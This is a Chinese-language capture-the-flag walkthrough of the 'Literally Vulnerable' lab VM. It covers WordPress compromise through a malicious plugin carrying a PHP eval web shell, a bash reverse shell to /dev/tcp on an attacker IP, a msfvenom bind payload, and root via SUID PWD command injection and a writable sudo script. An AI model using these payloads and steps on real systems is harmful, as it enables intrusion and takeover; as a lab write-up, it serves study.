UA: Literally Vulnerable靶機

wuerror發表於2021-05-16

前言

略有點虎頭蛇尾。主要有一步沒想通。

web打點

nmap -sP 192.168.218.0/24
#發現主機IP 192.168.218.138
#埠掃描
nmap -sV -p- 192.168.218.138

所得結果如下

Nmap scan report for 192.168.218.138
Host is up (0.00038s latency).
Not shown: 65531 closed ports
PORT      STATE SERVICE VERSION
21/tcp    open  ftp     vsftpd 3.0.3
22/tcp    open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp    open  http    nginx 1.14.0 (Ubuntu)
65535/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
MAC Address: 00:0C:29:6F:A0:4F (VMware)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

ftp存在匿名登陸(使用者名稱ftp,密碼為空)

下載下來用notepad++開啟

Hi Doe, 

I'm guessing you forgot your password again! I've added a bunch of passwords below along with your password so we don't get hacked by those elites again!

*$eGRIf7v38s&p7
yP$*SV09YOrx7mY
GmceC&oOBtbnFCH
3!IZguT2piU8X$c
P&s%F1D4#KDBSeS
$EPid%J2L9LufO5
nD!mb*aHON&76&G
$*Ke7q2ko3tqoZo
SCb$I^gDDqE34fA


訪問80埠,發現頁面顯示不正常,隨便點個search按鈕檢視跳轉連線的域名。修改hosts檔案把literally.vulnerable配到靶機IP上,再訪問頁面正常。

web指紋識別到這是個wordpress站點(看也看得出)

掃一波目錄

[21:48:18] 200 -   25KB - /admin/?/login
[21:48:54] 200 -   25KB - /domcfg.nsf/?open
[21:49:00] 200 -    0B  - /favicon.ico
[21:49:09] 301 -    0B  - /index.php  ->  http://literally.vulnerable/
[21:49:09] 301 -    0B  - /index.php/login/  ->  http://literally.vulnerable/login/
[21:49:14] 200 -   19KB - /license.txt
[21:49:24] 301 -    0B  - /myadminphp  ->  http://literally.vulnerable/myadminphp/
[21:49:42] 200 -    7KB - /readme.html
[21:49:59] 200 -   25KB - /v2/keys/?recursive=true
[21:50:01] 200 -   25KB - /solr/admin/file/?file=solrconfig.xml
[21:50:02] 500 -    3KB - /wp-admin/setup-config.php
[21:50:02] 400 -    1B  - /wp-admin/admin-ajax.php
[21:50:03] 200 -    1KB - /wp-admin/install.php
[21:50:03] 200 -    0B  - /wp-config.php
[21:50:03] 200 -   69B  - /wp-content/plugins/akismet/akismet.php
[21:50:03] 500 -    0B  - /wp-content/plugins/hello.php
[21:50:04] 200 -    0B  - /wp-cron.php
[21:50:04] 500 -    0B  - /wp-includes/rss-functions.php
[21:50:04] 200 -    5KB - /wp-login.php
[21:50:04] 302 -    0B  - /wp-signup.php  ->  http://literally.vulnerable/wp-login.php?action=register
[21:50:05] 405 -   42B  - /xmlrpc.php

經過一番對sql注入、越權、使用admin和doe作為賬號爆破wordpress和ssh的嘗試,確認80埠這個站確實如他所說not so vulnerable...

只能看最後一個埠65535了

開局一個apache2預設頁面,dirb和dirsearch結果如下

[22:20:18] 200 -   11KB - /index.html
[22:20:19] 301 -  342B  - /javascript  ->  http://literally.vulnerable:65535/javascript/


GENERATED WORDS: 4612                                                          

---- Scanning URL: http://literally.vulnerable:65535/ ----
+ http://literally.vulnerable:65535/index.html (CODE:200|SIZE:10918)                                                                                                             
==> DIRECTORY: http://literally.vulnerable:65535/javascript/                                                                                                                     
+ http://literally.vulnerable:65535/server-status (CODE:403|SIZE:288)                                                                                                            
                                                                                                                                                                                 
---- Entering directory: http://literally.vulnerable:65535/javascript/ ----
==> DIRECTORY: http://literally.vulnerable:65535/javascript/jquery/                                                                                                              
                                                                                                                                                                                 
---- Entering directory: http://literally.vulnerable:65535/javascript/jquery/ ----
+ http://literally.vulnerable:65535/javascript/jquery/jquery (CODE:200|SIZE:268026)  

換了幾個字典都沒掃出什麼其他的,陷入僵局。看一眼別人的wp,這裡掃出了一個phpcms?

使用的字典是/usr/share/dirb/wordlists/big.txt

一個與80埠相似的wordpress,看到幾篇博文的作者都是notadmin,使用之前獲取的密碼嘗試檢視加密的文章、登陸後臺都無果。
wpscan列舉發現一個新的使用者名稱maybeadmin。這一次終於有匹配上的密碼了$EPid%J2L9LufO5
成功進入後臺,檢視加密文章

得到一組賬密notadmin:Pa$$w0rd13!&
切換使用者登陸看看

呵,看樣子這是管理員賬號啊。

嘗試從編輯主題,編輯外掛兩個地方入手拿shell。

編輯主題那就沒發現能改php的地方。

外掛編輯倒是可以修改,但是我不太懂外掛結構,程式碼全刪了換成一句話,結果我改完直接沒了。

還能本地上傳外掛(這也是msf中wp_admin_shell_upload所使用的手法)

搜了下wordpress外掛開發helloworld,並學習了一手metasploit對應exp:wp_admin_shell_upload.rb

惡意外掛製作步驟如下:

1.新建一個資料夾hello,內建兩個php檔案

hello.php

<?php  
/*
Plugin Name: Copyright plugin
Plugin URI: http://www.xxxx.com/plugins/
Description: test
Version: 1.0.0
Author: wuerror
Author URI: http://www.xxxx.com/
License: GPL
*/
 

?>

s.php

<?php eval($_POST['pass']);?>

2.把資料夾打包上傳
3.蟻劍連線,外掛路徑為wp-content/plugins/hello/s.php

後滲透

bash -i >& /dev/tcp/192.168.218.129/4444 0>&1

反彈shell又遇到老問題ret=2,沒找到解決辦法。得msf整個正向shell吧

msfvenom -p linux/x64/meterpreter/bind_tcp -a x64 --platform linux LPORT=4444 -f elf > bindtcp.elf

通過蟻劍上傳後,虛擬終端執行chmod +x bindtcp.elf,./bindtcp.elf

攻擊機執行

msfconsole
use exploit/multi/handler
set payload linux/x64/meterpreter/bind_tcp
set rhost 192.168.40.129
set lport 4444
run

照例 suid先找一圈

find / -perm -u=s -type f 2>/dev/null


發現有一個怪怪的: /home/doe/iteasy
再檢視了crontab、path變數內容有無相對路徑、/etc/passwd的可寫許可權都沒有進展

Linux-exploit-suggester給的exp是2021年的CVE。或許可行,但肯定不是靶機預設的路徑
那繼續看看這個在使用者家目錄的suid檔案

這個環境變數裡有個OLDPWD(正常是沒有這個變數的)
那應該是跟pwd變數有關了。但我改成/home/john再執行也沒啥變化。通過蟻劍把檔案下載下來,ida開啟分析一下看看(web狗強行分析)
按下f5

system()執行ptr[0],但是ptr[0]又是什麼呢?還有這個asprintf()函式。經過一番搜尋

這麼說的話,v3也就是我們輸入的值,是存放在ptr申請的記憶體裡的。下面system執行的就是v3(pwd變數的值)。
那我們把pwd改成/bin/bash看看,失敗,只有print結果,沒有成功開啟shell.

看看已有的wp,發現他們寫的是這個,對特殊符號做了個轉義?

export PWD=\$\(/bin/bash\)

後面就不做了。總之就是得到了John的shell,sudo -l 發現了用root許可權在跑的test.html,而www-data恰好有寫入許可權,這倆都是我們已經控制的賬號因而echo /bin/bash > test.html再執行成功獲得root

相關文章